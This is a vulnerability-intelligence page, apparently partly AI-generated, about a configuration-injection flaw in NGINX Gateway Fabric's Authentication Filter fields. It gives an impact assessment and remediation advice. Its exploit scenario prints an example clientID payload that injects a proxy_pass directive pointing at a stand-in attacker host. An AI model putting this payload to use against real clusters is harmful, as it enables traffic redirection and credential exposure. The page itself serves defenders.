Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain Kubernetes credential with CRD write permission
-
DeliveryCraft malicious Authentication Filter clientID or Secret value
-
ExploitSubmit resource via Kubernetes API
-
ExecutionConfig generator renders value unsanitized into NGINX template
-
PersistNGINX Plus reloads with injected directives
-
ImpactAchieve arbitrary config manipulation
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Special element neutralization
|
| Exploitation Conditions | Exploitation requires two concrete prerequisites: (1) the attacker must hold a valid Kubernetes credential with RBAC permission to create or update Authentication Filter CRD objects or Kubernetes Secrets referenced by them in the target namespace - this is not a default permission for standard user roles; and (2) NGINX Gateway Fabric must be deployed with NGINX Plus as the data plane and the Authentication Filter feature must be configured (i.e., Authentication Filter CRDs must be in use). Without write access to these specific resource types, the injection vector does not exist. Exploitation is limited to the control plane; data-plane traffic is not directly injectable. There is no unauthenticated or anonymous exposure path. The limiting factors - required RBAC write permission and the Authentication Filter feature being enabled - substantially narrow the realistic vulnerable population relative to the raw CVSS score. |
| Impact | The CVSS 8.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) reflects that exploitation is network-reachable via the Kubernetes API server and requires only low-privilege access - specifically, RBAC permission to create or modify Authentication Filter resources or Secrets in the relevant namespace. In practice, such permissions are not granted to arbitrary users; most hardened clusters restrict CRD and Secret write access to dedicated service accounts or platform engineers, which materially raises the real-world bar compared to what the raw CVSS score implies. EPSS data is not available in the provided intelligence, and the CVE is not in CISA KEV, meaning no confirmed in-the-wild exploitation is known. No public POC has been identified. Even a mid-sized municipal IT team in radom running a Kubernetes-based API gateway on NGINX Gateway Fabric should treat this as a priority patch given the high C:H/I:H potential - injected config directives could redirect traffic, disable authentication, or expose backend secrets - but organizations with tightly scoped RBAC face substantially lower actual exposure than the CVSS score alone suggests. The S:U (no scope change) rating is consistent with the vendor's statement that this is a control-plane-only issue, limiting blast radius to the NGINX configuration itself rather than adjacent workloads. |
| Exploit ScenarioDerived | An attacker who holds a Kubernetes service-account token with namespace-scoped update permission on Authentication Filter resources crafts a clientID value such as legitimate-client"; proxy_pass http://attacker.example; to inject an additional NGINX directive. When the NGINX Gateway Fabric control plane reconciles the resource, the configuration generator writes this unsanitized value into the NGINX Plus configuration and triggers a reload, causing NGINX to serve with the injected directive active. No public POC exists at time of analysis, but the injection technique is straightforward for anyone familiar with NGINX configuration syntax. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 02, 2026
Configuration injection in NGINX Gateway Fabric allows authenticated Kubernetes users with CRD or Secret write permissions to embed arbitrary NGINX directives into the generated server configuration. The vulnerability originates in the NGINX configuration generator component, which renders Authentication Filter fields - clientID, cookieName, and clientSecret - directly into configuration templates without sanitization. Successful exploitation is limited to the control plane; no data-plane traffic is directly manipulated, but an attacker can introduce directives that compromise confidentiality and integrity of the NGINX Plus configuration. No public exploit has been identified and the issue is not listed in CISA KEV at time of analysis.
RemediationAI
The primary remediation is to apply the vendor-supplied fix referenced in F5 advisory K000162600 at https://my.f5.com/manage/s/article/K000162600; a specific patched release version was not independently confirmed from the available data, so administrators should consult the advisory directly to identify the target upgrade version. As a compensating control pending patching, restrict Kubernetes RBAC so that only trusted, privileged service accounts - not end-user-facing roles - hold create/update permissions on Authentication Filter CRD objects and on Secrets referenced by them; this directly removes the attacker's write vector without requiring downtime. Additionally, audit existing Authentication Filter resources and referenced Secrets for unexpected characters (semicolons, braces, newlines) in clientID, cookieName, and clientSecret fields. If the Authentication Filter feature is not in active use, consider removing existing Authentication Filter CRDs from the cluster to reduce attack surface, noting that this will disable OAuth/OIDC integration.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
NGINX Gateway Fabric is an F5-maintained Kubernetes-native API gateway that uses NGINX Plus as its data plane. It extends Kubernetes with Custom Resource Definitions (CRDs), including the Authentication Filter CRD, which allows cluster users to define OAuth/OIDC client parameters. The configuration generator component reads these CRD field values and writes them verbatim into NGINX configuration templates before NGINX Plus loads them. CWE-76 (Improper Neutralization of Equivalent Special Elements) describes the root cause: user-supplied strings are not sanitized or escaped, so newlines, semicolons, and curly braces in attacker-controlled values allow arbitrary NGINX directive injection - a text-template injection analogous to SSTI but targeting NGINX's configuration syntax. The affected CPE is cpe:2.3:a:f5:nginx_gateway_fabric:*:*:*:*:*:*:*:*, indicating all published versions are within scope.
Know when Nginx Gateway Fabric gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Network vector via Kubernetes API; PR:L because specific RBAC write permission is required, not anonymous; no availability impact per vendor statement.
Primary rating from Vendor (f5).
CVSS VectorVendor: f5
Lifecycle Timeline
3DescriptionCVE.org
Description: When NGINX Plus is configured as the data plane for NGINX Gateway Fabric, an injection vulnerability exists in the NGINX configuration generator component of NGINX Gateway Fabric. User-supplied string values from the Authentication Filter Custom Resource Definition clientID or cookieName fields, or in the clientSecret field of a Secret referenced by an Authentication Filter, are rendered directly into NGINX configuration templates without sanitization or escaping.
Impact: An authenticated attacker with permission to create or modify these resources may craft values that inject arbitrary NGINX configuration directives. This is a control plane issue; there is no data plane exposure.
Articles & Coverage 1
Executive ViewAI
NGINX Gateway Fabric deployments are vulnerable to configuration injection attacks by authenticated Kubernetes administrators with write permissions to custom resources and secrets. Attackers exploiting this can manipulate NGINX configuration to compromise system integrity, expose authentication credentials, and alter gateway behavior, affecting any organization relying on this gateway for API/service management.
Implement fine-grained RBAC limiting CRD and Secret write access to essential administrators; deploy Kubernetes admission controllers to block or audit modifications to sensitive Gateway Fabric authentication fields; enable and centralize audit logging for all control plane changes; segment network access to the control plane; maintain configuration baselines and alert on unexpected NGINX configuration reloads.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
More in Nginx Gateway Fabric
View allDirective injection in NGINX Gateway Fabric lets an authenticated namespaced tenant escape the auth_basic "<realm>"; quo
Configuration injection in F5 NGINX Gateway Fabric lets an authenticated Kubernetes user who can create or modify NginxP
Configuration injection in F5 NGINX Gateway Fabric allows an authenticated Kubernetes user with permission to create or
Denial-of-service in F5 NGINX Gateway Fabric allows an authenticated Kubernetes user with rights to create or modify GRP
A namespaced authenticated attacker holding access to a Kubernetes service account can impersonate the NGINX Agent gRPC
NGINX proxy configurations forwarding traffic to upstream TLS servers can be exploited by network-positioned attackers t
EUVD-2026-70139
GHSA-94x9-2xmh-58p8
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB